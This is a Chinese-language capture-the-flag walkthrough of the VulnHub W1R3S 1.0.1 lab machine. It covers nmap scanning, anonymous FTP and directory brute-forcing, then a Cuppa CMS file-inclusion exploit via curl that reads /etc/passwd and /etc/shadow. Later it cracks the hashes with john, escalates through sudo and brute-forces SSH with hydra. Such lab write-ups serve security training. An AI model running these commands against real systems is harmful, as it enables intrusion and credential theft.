文档说明:https://www.vulnhub.com/entry/w1r3s-101,220/
靶机下载:Download (Mirror):
信息收集
主机发现
- -sn 扫描整个C段,不进行端口扫描,只打印可用主机,n代表not port scan
sudo nmap -sn 10.9.75.0/24 -oA
sudo arp-scan -l

靶机IP:10.9.75.11
端口扫描
简单扫描
sudo nmap -sT --min-rate 10000 -p- 10.9.75.11 -oA scan/ports
-sT TCP扫描
--min-rate 指定最低速率扫描,每秒发包速率,
-p- 指定1-65535 全端口扫描
-oA 指定扫描结果的存放位置,有三种不同的输出格式,会存储在scan文件下,命名为ports

查看端口扫描的输出结果

如果在扫描来端口过多的情况下,可以使用命令把扫出的端口单独提取出来,
grep open ports.nmap | awk -F'/' '{print $1}' | paste -sd ','
paste -s表示合并到一行,-d是指定分割符
效果展示:

也可以把上面的命令指定给一个变量
ports=$(grep open ports.nmap | awk -F'/' '{print $1}' | paste -sd ',')

详细信息扫描
sudo nmap -sT -sC -sV -O -p 21,22,80,3306 10.9.75.11 -oA scan/details

扫描结果:
21 ftp 允许匿名登陆
22 ssh,在渗透测试时的优先级靠后
80 apache2.4.18 Ubuntu
3306 mysql
UDP扫描
sudo nmap -sU --top-ports 20 10.9.75.11 -oA scam/udp

漏洞脚本扫描
sudo nmap --script=vuln -p21,22,80,3306 10.9.75.11 -oA scan/vuln

在渗透测试时,DOS攻击一般不会选,过于暴力,没有技术含量
漏洞探测
FTP探测
在前面的nmap扫描结果中,显示可以允许frp匿名登陆
匿名用户:anonymous

登陆 成功,提示使用二进制模式传输文件
binary

如果不切换二进制模式,否则下载下来的可执行文件很可能是坏的
可以使用?查看ftp的交互命令

发现在content文件夹里有三个 文件,可以尝试下载下来,在下载之前需要使用一个命令prompt,把交互式的提示模式关掉,这样不用每一次都要我们确认,下载多个文件时候mget,下载单个文件的话使用get

再去看看其他文件夹里的东西


ftp里的内容都下载下来之后,就可以使用quit命令退出ftp了
然后查看所有下载下来的.txt文件
cat *.txt

MD5:01ec2d8fc11c493b25029fb1f47f39ce
BASE64:SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
员工信息:员工名字和员工职位
Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources类似于上下颠倒,左右翻转:
ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡
…punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
进行解密:
MD5破解

使用md5sum进行验证是否正确
echo -n "This is not a password" | md5sum

echo -n "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg=="| base64 -d

Upside Down Text Converter


综上所述,并没有找到有用的信息,换另一个方向
MySQL探测

显示说不允许kali主机连接数据库,那就换一个方向
Web探测
访问80端口,就是一个默认页面,什么也没有

查看一下该页面源码,值得引起重视的注释部分也没有有用的信息

目录爆破
gobuster dir -u http://10.9.75.11 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

目录爆除了几个目录,可以挨个去访问一下
访问wordpress时,页面发生了跳转,即使加入hosts文件也不行

http://10.9.75.11/javascript/

http://10.9.75.11/administrator/installation/

出现一个安装页面,这个在真实的渗透测试环境中,需要谨慎一下,有可能 点击了Next,去安装之后去导致客户的服务器出现问题,所以需要小心小心再小心
网站的title部分显示Cuppa CMS,可以去网上找历史漏洞或者使用searchsploit去漏洞库里找漏洞利用方式
searchsploit
searchsploit cuppa cms

找出利用方式的绝对路径
searchsploit -p php/webapps/25971.txt

也可以使用-m参数直接下载下来
searchsploit cuppa -m php/webapps/25971.txt

查看


接下来,就是要进行漏洞利用了
文件包含利用
文件包含
访问http://10.9.75.11/cuppa/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd发现找不到,可能就是路径问题,网站安装的 路径不在cuppa下面,

那看看在不在administrator目录下
http://10.9.75.11/administrator/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd

页面有变化,但是没有显示出/etc/passwd的内容,可以看看网页源代码,看看有没有

网页源码也没有内容,这个时候就要考虑是不是不是GET形式传参呢,而且那个利用文件里还提到了Base64编码的问题
去网上找找该CMS的源码看一看,利用文件里给出了位置
/alerts/alertConfigField.php (LINE: 22)
LINE 22:
<?php include($_REQUEST["urlConfig"]); ?>



页码中显示是POST传参,可以借助BurpSuite来改变请求方式,或者使用curl命令字发送post请求
curl --help | grep url

curl --data-urlencode "urlConfig=../../../../../../../../../etc/passwd" http://10.9.75.11/administrator/alerts/alertConfigField.php

Burpsuite利用


密码都是x,说明密码存在/etc/shadow里

将有密码的都保存再一个shadown.hash文件里,使用jhon来解密

john
john shadow.hash

解出来两个
www-data (www-data)
computer (w1r3s)
GetShell
尝试ssh登陆,发现有sudo 权限,并且拥有所有的root权限

权限提升
sudo /bin/bash


SSH爆破
在ftp中有几个员工姓名,可以拿来做爆破尝试
hydra
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ssh://10.9.75.11


爆破出用户名,就可以ssh连接,进行提取了
总结
- nmap扫描获得21,22,80,3306端口
- 先看匿名的ftp,然后数据库,Web网站
- 进行80端口的目录爆破,发现CuppaCMS
- 通过漏洞库和浏览器进行了文件包含漏洞利用
- 解密shadow文件,解密了两个用户名,尝试登陆,
- 登陆成功,发现有全部的sudo权限,提权成功
- 最后22端口,原本没有抱多大希望,但是在最后也是成功爆破出密码



















